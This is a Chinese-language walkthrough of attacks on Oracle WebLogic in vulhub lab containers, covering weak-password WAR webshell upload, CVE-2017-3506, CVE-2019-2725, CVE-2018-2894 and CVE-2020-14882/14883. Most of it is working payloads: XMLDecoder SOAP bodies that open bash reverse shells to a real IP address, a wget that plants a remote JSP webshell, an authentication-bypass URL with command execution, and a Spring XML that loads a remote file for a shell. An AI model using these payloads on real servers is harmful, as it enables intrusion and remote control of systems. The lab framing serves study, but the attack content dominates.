一.后台弱⼝令GetShell
1.搭建服务
cd vulhub-master/weblogic/CVE-2020-14882
docker-compose up -d

2.访问网站

在/console目录下进入登录页面

3.使用弱口令登录
默认账号密码:weblogic/Oracle@123

4.然后我们上传文件

5.将我们提前制作好的2.war文件上传
2.war文件为存有jsp木马的jsp文件压缩为zip然后修改后缀名所得

6.上传后发现目录中存在我们上传的文件

7.访问一下试试,页面存在2.jsp文件

8.复制木马文件的绝对路径,使用哥斯拉连接
连接成功!!!

二.CVE-2017-3506
1.搭建网站
cd vulhub-master/weblogic/weak_password
docker-compose up -d
访问网站

2.对当前页面进行抓包

3.打开监听
nc -lvvp 4444

4.在抓到的包中修改请求方式为post
内容类型为text/xml
添加
<soapenv:Envelope xmlns:soapenv= "
http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work= "
http://bea.com/2004/06/soap/workarea/">
<java version= "1.8.0_131" class= "java.beans.XMLDecoder">
<object class= "java.lang.ProcessBuilder">
<array class= "java.lang.String" length= "3">
<void index= "0">
<string>/bin/bash</string>
</void>
<void index= "1">
<string>-c</string>
21
</void>
<void index= "2">
<string>bash -i >& /dev/tcp/47.108.150.249/4444 0>&1</string>
</void>
</array>
<void method= "start"/></object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

5.成功监听!

三.CVE-2019-2725
1.搭建服务
cd vulhub-master/weblogic/weak_password
docker-compose up -d
访问网站

2.将存有木马的2.txt文件存在目录中

3.对网站当前页面进行抓包,修改请求包内容类型text/xml
添加:
<soapenv:Envelope xmlns:soapenv= "
http://schemas.xmlsoap.org/soap/envelope/"
xmlns:wsa= "
http://www.w3.org/2005/08/addressing"
xmlns:asy= "
http://www.bea.com/async/AsyncResponseService">
23
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work= "
http://bea.com/2004/06/soap/workarea/">
<void class= "java.lang.ProcessBuilder">
<array class= "java.lang.String" length= "3">
<void index= "0">
<string>/bin/bash</string>
</void>
<void index= "1">
<string>-c</string>
</void>
<void index= "2">
<string>wget
http://47.108.150.249/2.txt
-O
servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/678.jsp
</string>
</void>
</array>
<void method= "start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

4.现在我们访问678.jsp
/bea_wls_internal/
678.jsp
访问成功!

5.尝试连接
复制文件绝对路径,到哥斯拉中连接
连接成功!

四.CVE-2018-2628
1.环境搭建
cd vulhub-master/weblogic/CVE-2018-2628
docker-compose up -d

2.使用工具连接

五.CVE-2018-2894
1.搭建环境
cd vulhub-master/weblogic/CVE-2018-2894
docker-compose up -d

2.访问网站

3.输入命令可以得到账号密码信息
docker-compose logs | grep password
我们在网站页面进行登录

4.域结构 -> base-domain -> ⾼级 -> 启动Web服务测试页
保存

5.进⼊ config.do ⽂件进⾏设置,将⽬录设置为 ws_utc 应⽤的静态⽂件css⽬录,访问这个⽬
录是⽆需权限的
/ws_utc/config.do
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
保存

6.点击安全 , 点击添加
将我们存有木马的文件上传上去

7.访问我们上传的文件
发现访问不到

8.回到上传目录的页面中f12找到对应时间戳
将访问的文件格式改为:时间戳_⽂件名.jsp

9.再次访问
/ws_utc/css/config/keystore/1726815031601_2.jsp
页面显示访问成功

10.复制木马文件的绝对路径到哥斯拉中尝试连接
连接成功!!

六.CVE-2020-14882
1.搭建服务并访问网站
cd vulhub-master/weblogic/CVE-2020-14882
docker-compose up -d
发现需要登录
使⽤以下url绕过登录认证
47.108.150.249:7001/console/css/%252e%252e%252fconsole.portal
2.成功登录
此时达到未授权得效果。还未能GetShell。可以利⽤第⼆个漏洞(CVE-2020-14883),远程加载XML⽂件拿到Shell
我们先访问
http://47.108.150.249:7001/console/css/%252e%252e%252fconsole.portal?
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success');")

3.在docker中看到命令已经成功执行

4.我们还可以构造恶意xml文件
<?xml version= "1.0" encoding= "UTF-8" ?>
<beans xmlns= "
http://www.springframework.org/schema/beans"
xmlns:xsi= "
http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation= "
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id= "pb" class= "java.lang.ProcessBuilder" init-method= "start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/
47.108.150.249:7001
/6666 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
并开启监听
nc -lvvp 6666

5.在网页中访问该文件并执行
http://47.108.150.249:7001/console/css/%252e%252e%252fconsole.portal?nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://47.108.150.249/1.xml")

6.可以成功监听
